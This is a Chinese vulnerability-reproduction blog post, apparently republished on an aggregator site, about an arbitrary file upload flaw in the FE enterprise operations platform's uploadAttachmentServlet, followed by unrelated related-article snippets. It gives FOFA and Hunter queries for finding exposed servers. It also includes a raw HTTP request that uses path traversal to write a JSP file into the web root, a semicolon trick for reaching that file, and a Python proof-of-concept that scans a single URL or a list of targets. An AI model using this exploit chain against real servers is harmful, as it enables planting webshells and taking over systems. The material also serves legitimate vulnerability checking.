【漏洞复现】飞企互联-FE企业运营管理平台——uploadAttachmentServlet——文件上传

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。其uploadAttachmentServlet存在文件上传漏洞,导致恶意攻击者可以上传恶意后门、木马等,从而获取对服务器的远程访问权限或者破坏系统,对服务器造成极大的安全隐患。

漏洞复现

1)信息收集
fofa:app="FE-协作平台"
hunter:app.name="飞企互联 FE"||app.name="飞企互联 FE 6.0+"
在这里插入图片描述

圣人不死,大盗不止。
在这里插入图片描述
2)构造数据包

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 404------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
Content-Type: text/plain<% out.println("123123");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

multipart/form-data格式的请求解释:

MIME多部分数据格式,通常用于HTTP POST请求中,特别是在需要上传文件和额外数据的情况下。这种格式允许在一个请求中发送多种类型的数据,比如文件、表单字段等。

详细解析代码片段:

  1. 边界(Boundary)定义

    ------WebKitFormBoundaryKNt0t4vBe8cX9rZk
    

    这个字符串是分隔不同数据部分的边界。它是在请求头中定义的,并且在每个数据部分之间重复出现,以区分不同的部分。

  2. uploadFile 部分

    Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
    Content-Type: text/plain<% out.println("123123");%>
    
    • Content-Disposition 头部指定了这个部分是一个表单数据(form-data),名字为uploadFile,并且关联了一个文件名from.jsp。这表明这部分数据代表了一个文件。
    • Content-Type 指定这部分数据的类型是text/plain,但实际上,这里的from.jsp看起来是一个Java Server Page(JSP)文件。
    • 接下来是JSP文件的内容,它会输出字符串123123到页面。
  3. json 部分

    Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
    
    • 这部分同样是一个表单数据,名字为json,没有指定文件名,因为这并不是一个文件上传。
    • 数据是一个JSON对象,包含了iq对象,其中有一个query字段,其值是一个对象,具有UpdateType属性,值为mail
  4. 结束边界

    ------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
    

    这是边界字符串的结束标记,表示所有数据部分的传输已经完成。

这样的格式常用于上传文件到服务器,同时可以携带额外的参数,比如描述文件的元数据或处理文件的指令。在实际应用中,边界字符串通常是随机生成的,以避免与数据内容冲突。

在这里插入图片描述

3)查看上传文件,;绕过解析

GET /from; HTTP/1.1
Host: ip

在这里插入图片描述
回显123123,文件上传成功

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-# 导入请求库,用于发送HTTP请求
import requests
# 导入随机库,用于生成随机字符串
import random
# 导入字符串库,用于获取ASCII字母和数字
import string
# 导入解析命令行参数的库
import argparse
# 忽略HTTPS警告
from urllib3.exceptions import InsecureRequestWarning# 定义红色和重置终端颜色的字符串,用于输出高亮提示
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 生成随机基础字符串
def rand_base(n):"""生成包含n个字符的随机字符串。参数:n -- 字符串的长度返回值:随机生成的字符串"""return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))# 检测URL是否存在上传漏洞
def check_vulnerability(url):"""检测给定URL是否存在飞企互联-FE企业运营管理平台的上传漏洞。参数:url -- 待检测的URL无返回值。如果检测到漏洞,则打印提示信息;否则,打印无漏洞信息。"""# 生成随机文件名filename = rand_base(6)# 构造上传URLupload_url = url.rstrip('/') + '/servlet/uploadAttachmentServlet'# 设置上传请求的头部信息upload_headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk'}# 构造上传请求的数据upload_data = ('------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n'f'Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/{filename}.jsp"\r\n''Content-Type: text/plain\r\n\r\n''<% out.println("123123");%>\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n''Content-Disposition: form-data; name="json"\r\n\r\n''{"iq":{"query":{"UpdateType":"mail"}}}\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk--')try:# 发送上传请求response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)# 构造访问上传文件的URLaccess_url = url.rstrip('/') + f'/{filename}.jsp;'# 发送访问请求response_access = requests.get(access_url, verify=False, timeout=30)# 检查上传和访问的响应,判断是否存在漏洞if response_upload.status_code == 200 and response_access.status_code == 200 and "123123" in response_access.text:print(f"{RED}URL [{url}] 存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:print(f"URL [{url}] 请求超时,可能存在漏洞")except requests.RequestException as e:print(f"URL [{url}] 请求失败: {e}")# 程序入口
def main():# 解析命令行参数parser = argparse.ArgumentParser(description='检测目标地址是否存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')args = parser.parse_args()# 根据参数执行漏洞检测if args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

运行截图
在这里插入图片描述


邓林之阴初见昆仑君,惊鸿一瞥,乱我心曲。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/44179.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux用户和用户组的创建和添加

创建用户组 在Linux中创建用户组&#xff0c;您可以使用groupadd命令&#xff0c;后跟用户组名称。例如&#xff0c;要创建一个名为newgroup的用户组&#xff0c;您可以执行以下命令&#xff1a; sudo groupadd newgroup创建用户 创建用户&#xff0c;您可以使用useradd命令&am…

平安养老险山西分公司开展2024年“7.8全国保险公众宣传日”活动

为深入贯彻新发展理念和中央金融工作会议、中央经济工作会议精神&#xff0c;推动保险行业形象持续向好&#xff0c;根据中保协《关于印发<2024年“7.8全国保险公众宣传日”活动方案>的通知》和山西省保险行业协会《山西保险业2024年“7.8全国保险公众宣传日”活动方案》…

在误装Windows server2019 后如何利用Windows.old恢复?

&#x1f3c6;本文收录于《CSDN问答解惑》专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收藏&…

DevExpress(WinForms WPF)中文教程 - 如何减小文档文件大小?

DevExpress拥有.NET开发需要的所有平台控件&#xff0c;包含600多个UI控件、报表平台、DevExpress Dashboard eXpressApp 框架、适用于 Visual Studio的CodeRush等一系列辅助工具。屡获大奖的软件开发平台DevExpress近期重要版本v24.1已正式发布&#xff0c;该版本拥有众多新产…

PlugLink 与 AI 大模型:深入 COZE API 链接实践(附源码)

在这个技术日新月异的时代&#xff0c;AI 不再是遥不可及的概念&#xff0c;而是逐渐成为我们日常生活与工作中不可或缺的一部分。作为技术领域的探路者&#xff0c;我深感荣幸地向大家介绍 PlugLink —— 一个旨在简化 AI 应用集成并促进跨领域协作的开源平台&#xff0c;以及…

开源数字人项目Hallo

硬件条件&#xff1a; gpu最低12G 软件&#xff1a; cuda需支持 Python选择3.10吧&#xff0c;我的版本3.11 源码&#xff1a; GitHub - fudan-generative-vision/hallo: Hallo: Hierarchical Audio-Driven Visual Synthesis for Portrait Image Animation models文件&…

阅读笔记——《Fuzz4All: Universal Fuzzing with Large Language Models》

【参考文献】Xia C S, Paltenghi M, Le Tian J, et al. Fuzz4all: Universal fuzzing with large language models[C]//Proceedings of the IEEE/ACM 46th International Conference on Software Engineering. 2024: 1-13.【注】本文仅为作者个人学习笔记&#xff0c;如有冒犯&…

android paddingStart paddingLeft 使用区别

在 Android 开发中&#xff0c;paddingStart 和 paddingLeft 都是用来设置视图的内边距&#xff0c;但它们有一些重要的区别&#xff0c;尤其是在处理国际化和不同的布局方向&#xff08;LTR 和 RTL&#xff09;时&#xff1a; paddingLeft: 设置视图内容左侧的内边距。只在从左…

科研绘图系列:python语言实验线图(line Chart)

介绍 两组数据在不同时间点的差异检验结果线图 导入包 import pandas as pd import seaborn as sns import matplotlib.pyplot as plt from scipy import stats输入数据 ctr = [2, 2, 3, 3, 4, 5, 5, 6, 4, 8, 6, 6, 9, 11, 12, 12, 15, 16, 20, 25, 27] drug = [2, 3, …

python开发prometheus exporter--用于hadoop-yarn监控

首先写python的exporter需要知道Prometheus提供4种类型Metrics 分别是&#xff1a;Counter, Gauge, Summary和Histogram * Counter可以增长&#xff0c;并且在程序重启的时候会被重设为0&#xff0c;常被用于任务个数&#xff0c;总处理时间&#xff0c;错误个数等只增不减的指…

查看wsl 版本

要查看Windows Subsystem for Linux (WSL) 的版本&#xff0c;您通常需要查看WSL的版本号以及正在运行的Linux发行版的版本。以下是检查这两个版本的方法&#xff1a; 1. 查看WSL的版本&#xff08;WSL 1 或 WSL 2&#xff09; 要检查您的计算机上是否启用了WSL 2&#xff0c…

如何录制屏幕视频?4款软件,轻松录屏

在数字化飞速发展的时代&#xff0c;如何录制屏幕视频已经成为我们工作、学习和娱乐中不可省略的一个重要问题。无论是制作教学教程还是录制游戏视频等&#xff0c;屏幕视频录制都为我们提供了极大的便利。今天&#xff0c;就让我们一起探索如何录制屏幕视频的精彩方式&#xf…

多数据源配置导致注解Transactional失效

多数据源配置时&#xff0c;向事务管理器中注入数据源时可以直接注入DynamicRoutingDataSource而不要注入ItemDataSource类型&#xff0c;否则可能会出现事务失效问题。 其他事务失效问题参考&#xff1a; 注解Transaction踩坑指南 注解Transaction失效场景

Windows环境+C#实现显示接口测试

代码如下&#xff1a; using Models; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.ComponentModel; using System.ComponentModel.Design; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; …

大模型“聚会”:国内卷价格,国外卷能力

[ GPT-4o和谷歌Gemini不断宣传现阶段AI能力大幅度提高&#xff0c;那么这两家&#xff0c;谁的大模型能力更强呢&#xff1f;这篇文章里&#xff0c;作者就展开了多维度的测试和体验&#xff0c;想了解的同学&#xff0c;可以来看一下。 在中美AI大模型的竞争上&#xff0c;正衍…

从数据仓库到数据湖(上):数据湖导论

文章目录 一、什么是数据湖&#xff1f;起源数据湖的特征 二、为什么要用数据湖&#xff1f;三、数据湖与数据仓库的区别数据仓库和数据湖的对比 四、数据湖本质数据存储架构数据处理工具&#xff1a;三类第一类工具第二类工具第三类工具 小结 五、总结六、参考资料 一、什么是…

[运维平台]泛微运维平台

运维平台点击登录没有反应&#xff0c;是因为H2数据库损坏&#xff0c;H2数据库在服务器异常重启&#xff0c;磁盘满等情况下容易损坏&#xff0c;请按照下面的步骤操作Linux&#xff1a; 运维平台升级包https://www.weaver.com.cn/cs/monitorDownload.html 1&#xff09;请停…

常见数据库类型和选取详解

数据库是用于存储、检索和管理数据的系统。它们可以根据数据模型的不同被分类为不同类型。以下是一些常见的数据库类型和它们的选取详解&#xff1a; 1. 关系型数据库&#xff08;RDBMS&#xff09; 特点&#xff1a; 使用表格&#xff08;tables&#xff09;来组织数据。基…

百日筑基第十六天-java多线程编程浅学一下4-各种线程池学习和使用

百日筑基第十六天-java多线程编程浅学一下4-各种线程池学习和使用 使用线程池 Java语言虽然内置了多线程支持&#xff0c;启动一个新线程非常方便&#xff0c;但是&#xff0c;创建线程需要操作系统资源&#xff08;线程资源&#xff0c;栈空间等&#xff09;&#xff0c;频繁…

MQ四兄弟:如何保证消息顺序性

在当今的分布式系统架构中&#xff0c;消息队列&#xff08;MQ&#xff09;是不可或缺的组成部分。它们在确保系统组件之间高效通信方面发挥着关键作用。特别是在金融交易、物流跟踪等对消息处理顺序有严格要求的场景中&#xff0c;消息队列的顺序性保证显得更为重要。接下来&a…